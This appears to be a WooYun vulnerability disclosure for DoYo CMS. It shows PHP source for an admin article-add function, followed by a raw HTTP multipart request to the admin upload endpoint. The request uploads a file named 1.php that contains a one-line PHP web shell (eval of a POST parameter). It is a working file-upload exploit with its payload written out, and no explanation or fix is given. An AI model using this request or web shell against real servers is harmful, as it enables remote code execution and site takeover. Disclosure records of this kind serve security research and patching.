WooYun.org

function add(){
		$this->itid=$this->syArgs('tid');
		if ($this->syArgs('run')==1){
			if(!$this->auser->checkclass($this->newrow1['tid'])){message_a("无权操作本栏目内容");}
			$newVerifier=$this->ClassADD->syVerifier($this->newrow1);
				if(false == $newVerifier){
					$addnewrow1=$this->ClassADD->create($this->newrow1);
					if($addnewrow1==FALSE){message_a("主表数据写入失败，请重新提交");}
					$arrays = array(
						'aid' => $addnewrow1,
					);
					if($this->syArgs('all_down_images')==1){
						$upall=syClass('syupload');
						$bodynew=stripslashes($this->newrow2['body']);
						preg_match_all('/<img.*?src=(.*?(\.jpg|\.gif|\.png|\.jpeg)(\'|\"|\s|>)).*?/si',$bodynew,$pic);
						$pic=array_unique($pic[1]);
						foreach($pic as $v){
							$v=str_replace(array('"',"'",'>'),'',trim($v));
							if($v){
								$localUrl=$upall->saveRemoteImg(trim($v));
								if($localUrl){$bodynew=str_ireplace($v,$GLOBALS['WWW'].$localUrl,$bodynew);}
							}
						}
						$arrays=array_merge($arrays,array('body'=>addslashes($bodynew)));
					}
					$this->newrow2=array_merge($this->newrow2,$arrays);
					syDB($this->molds.'_field')->runSql('set interactive_timeout=24*3600');
					if(syDB($this->molds.'_field')->create($this->newrow2)){
						if($GLOBALS['G_DY']['rewrite']["rewrite_open"]!=1&&syExt('site_html')==1&&$this->newrow1['isshow']==1&&$this->newrow1['mrank']==0&&$this->newrow1['mgold']==0){
							$c_html_f=html_rules($this->molds,$this->newrow1['tid'],$this->newrow1['addtime'],$addnewrow1,$this->newrow1['htmlfile']);
							syDB($this->molds)->updateField(array('id'=>$addnewrow1),'htmlurl',$c_html_f);
							$this->chtml->c_molds('article',array('id'=>$addnewrow1),$c_html_f);
							$body=array_filter(explode("[doyo|page]",$this->newrow2['body']));
							$allb=count($body);
							if($allb>1){
								for ($i = 1; $i <= $allb; $i++) {
									if($i>1){
									$this->chtml->c_molds('article',array('id'=>$addnewrow1,'page'=>$i),str_replace('.',$i.'.',$c_html_f));
									}
								}
							}
						}
						deleteDir($GLOBALS['G_DY']['sp_cache']);
						message_a($this->moldname.'添加成功','?c=a_'.$this->molds,'<a href="?c=a_'.$this->molds.'">返回列表</a><a href="?c=a_'.$this->molds.'&a=add&tid='.$this->newrow1['tid'].'">继续添加</a>',"8");
					}else{
						syDB($this->molds)->delete(array('id'=>$addnewrow1));
						message_a("附表数据写入失败，请重新提交");
					}
				}else{message_b($newVerifier);}
		}

POST /doyo/admin.php?c=uploads&tid=&isfiles=editor_KindEditor&dir=image HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:36.0) Gecko/20100101 Firefox/36.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/doyo/admin.php?c=a_article&a=add
Cookie: 33b5b_lastpos=other; 33b5b_ol_offset=98; 33b5b_ipstate=1425863599; 33b5b_cloudClientUid=9998101; 33b5b_jobpop=0; 33b5b_threadlog=%2C2%2C; editmode=0; 33b5b_readlog=%2C1%2C2%2C; 33b5b_bubble=a%3A1%3A%7Bs%3A17%3A%22pw_all_tip_tucool%22%3Bi%3A1%3B%7D; 33b5b_winduser=VT8BVwBcUlFTUgZQDl8FVQYNXwAABlRTXAZRAgdQWgwFUT4; 33b5b_ck_info=%2F%09; 33b5b_lastvisit=951%091425870595%09%2Fphpwind%2Fapps.php%3Fqweibo%26ajax1%26docomment%26nowtime1425870595548%26verify407e3b64ee9472c6; hd_sid=evILzk; AJSTAT_ok_times=1; tp_sid=6f35b5130ed53007; CNZZDATA1702264=cnzz_eid%3D544880126-1426140871-http%253A%252F%252F127.0.0.1%252F%26ntime%3D1426140871; _currentUrl_=czo0OToiL3l1ZnVjbXMvYWRtaW4vaW5kZXgucGhwP209cGhvdG8mYT1pbmRleCZjYXRpZD00NCI7; PHPSESSID=s57v8jh3517br90f7oq6gmcb84
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------323081709223130
Content-Length: 344
-----------------------------323081709223130
Content-Disposition: form-data; name="localUrl"
1.php
-----------------------------323081709223130
Content-Disposition: form-data; name="editor_KindEditor"; filename="1.php"
Content-Type: application/octet-stream
<?php eval($_POST[xiao])?>
-----------------------------323081709223130--